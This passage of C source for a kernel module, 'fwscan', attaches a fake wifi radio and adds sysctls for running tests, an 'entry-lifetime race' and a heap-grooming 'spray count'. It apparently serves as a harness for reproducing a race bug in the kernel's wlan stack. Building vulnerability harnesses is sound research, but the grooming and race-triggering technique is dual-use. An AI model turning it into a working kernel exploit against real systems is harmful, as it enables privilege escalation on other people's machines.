    0, 0, fw_test_sysctl, "I", "fwscan: run test N");

static int
fw_race_sysctl(SYSCTL_HANDLER_ARGS)
{
	int error, v = fw_race;

	error = sysctl_handle_int(oidp, &v, 0, req);
	if (error != 0 || req->newptr == NULL)
		return error;
	fw_race = v;
	if (v > 0)
		run_race(v);
	return 0;
}
SYSCTL_PROC(_kern, OID_AUTO, fwscan_race, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, fw_race_sysctl, "I", "fwscan: run entry-lifetime race N sec");

static int
fw_mkvap_sysctl(SYSCTL_HANDLER_ARGS)
{
	int error, v = 0;

	error = sysctl_handle_int(oidp, &v, 0, req);
	if (error != 0 || req->newptr == NULL)
		return error;
	/*
	 * Vaps MUST be created through the ifconfig clone path (it holds
	 * the wlan serializer):
	 *   ifconfig wlan create wlandev fws0 wlanmode sta up
	 *   ifconfig wlan create wlandev fws0 wlanmode tdma up
	 */
	kprintf("fwscan: create vaps with: ifconfig wlan create wlandev "
	    "fws0 wlanmode sta|tdma up\n");
	return 0;
}
SYSCTL_PROC(_kern, OID_AUTO, fwscan_mkvap, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, fw_mkvap_sysctl, "I", "fwscan: create vap (1=STA 2=AHDEMO+TDMA)");

static int
fw_spray_sysctl(SYSCTL_HANDLER_ARGS)
{
	int error, v = fw_spray;

	error = sysctl_handle_int(oidp, &v, 0, req);
	if (error != 0 || req->newptr == NULL)
		return error;
	if (v > 0 && v <= 4096)
		fw_spray = v;
	return 0;
}
SYSCTL_PROC(_kern, OID_AUTO, fwscan_spray, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, fw_spray_sysctl, "I", "fwscan: groom spray count");

static int
fw_modevent(module_t mod, int type, void *data)
{
	struct fw_softc *sc;
	struct ieee80211com *ic;
	uint8_t bands[IEEE80211_MODE_BYTES];

	switch (type) {
	case MOD_LOAD:
		sc = kmalloc(sizeof(struct fw_softc), M_DEVBUF,
		    M_WAITOK | M_ZERO);
		ic = &sc->sc_ic;
		ic->ic_softc = sc;
		ic->ic_name = "fws0";
		ic->ic_opmode = IEEE80211_M_STA;
		ic->ic_phytype = IEEE80211_T_DS;
		ic->ic_caps =
			  IEEE80211_C_STA
			| IEEE80211_C_IBSS
			| IEEE80211_C_AHDEMO
			| IEEE80211_C_HOSTAP
			| IEEE80211_C_MONITOR
			| IEEE80211_C_SHPREAMBLE
			| IEEE80211_C_SHSLOT
			| IEEE80211_C_TDMA	/* TDMA-capable radio */
			| IEEE80211_C_TXFRAG
			;
		/* 11b + 11g channel set */
		memset(bands, 0, sizeof(bands));
		setbit(bands, IEEE80211_MODE_11B);
		setbit(bands, IEEE80211_MODE_11G);
		ieee80211_init_channels(ic, NULL, bands);
		/*
		 * Keep exactly ONE channel: the background scanner then
		 * never moves curchan and beacon DSPARMS always matches.
		 */
		ic->ic_nchans = 1;
		kprintf("fwscan: single channel: ieee %u freq %u flags 0x%x\n",
		    ic->ic_channels[0].ic_ieee, ic->ic_channels[0].ic_freq,
		    ic->ic_channels[0].ic_flags);

		ic->ic_macaddr[0] = 0x02; ic->ic_macaddr[1] = 0x00;
		ic->ic_macaddr[2] = 0x00; ic->ic_macaddr[3] = 0x00;
		ic->ic_macaddr[4] = 0x00; ic->ic_macaddr[5] = 0xf3;

		ic->ic_vap_create = fw_vap_create;
		ic->ic_vap_delete = fw_vap_delete;
		ic->ic_parent = fw_parent;
		ic->ic_raw_xmit = fw_raw_xmit;
		ic->ic_transmit = fw_transmit;
		ic->ic_scan_start = fw_nop_ic;
		ic->ic_scan_end = fw_nop_ic;
		ic->ic_set_channel = fw_nop_ic;
		ic->ic_updateslot = fw_nop_ic;

		ieee80211_ifattach(ic);
		fw_sc = sc;
		kprintf("fwscan: fake wifi radio attached (fws0)\n");
		return 0;
	case MOD_UNLOAD:
		sc = fw_sc;
		if (sc == NULL)
			return 0;
		if (!TAILQ_EMPTY(&sc->sc_ic.ic_vaps)) {
			kprintf("fwscan: vap still active, refusing unload\n");
			return EBUSY;
		}
		ieee80211_ifdetach(&sc->sc_ic);
		kfree(sc, M_DEVBUF);
		fw_sc = NULL;
		kprintf("fwscan: detached\n");
		return 0;
	}
	return 0;
}

static moduledata_t fwscan_mod = { "fwscan", fw_modevent, 0 };
DECLARE_MODULE(fwscan, fwscan_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
MODULE_DEPEND(fwscan, wlan, 1, 1, 1);
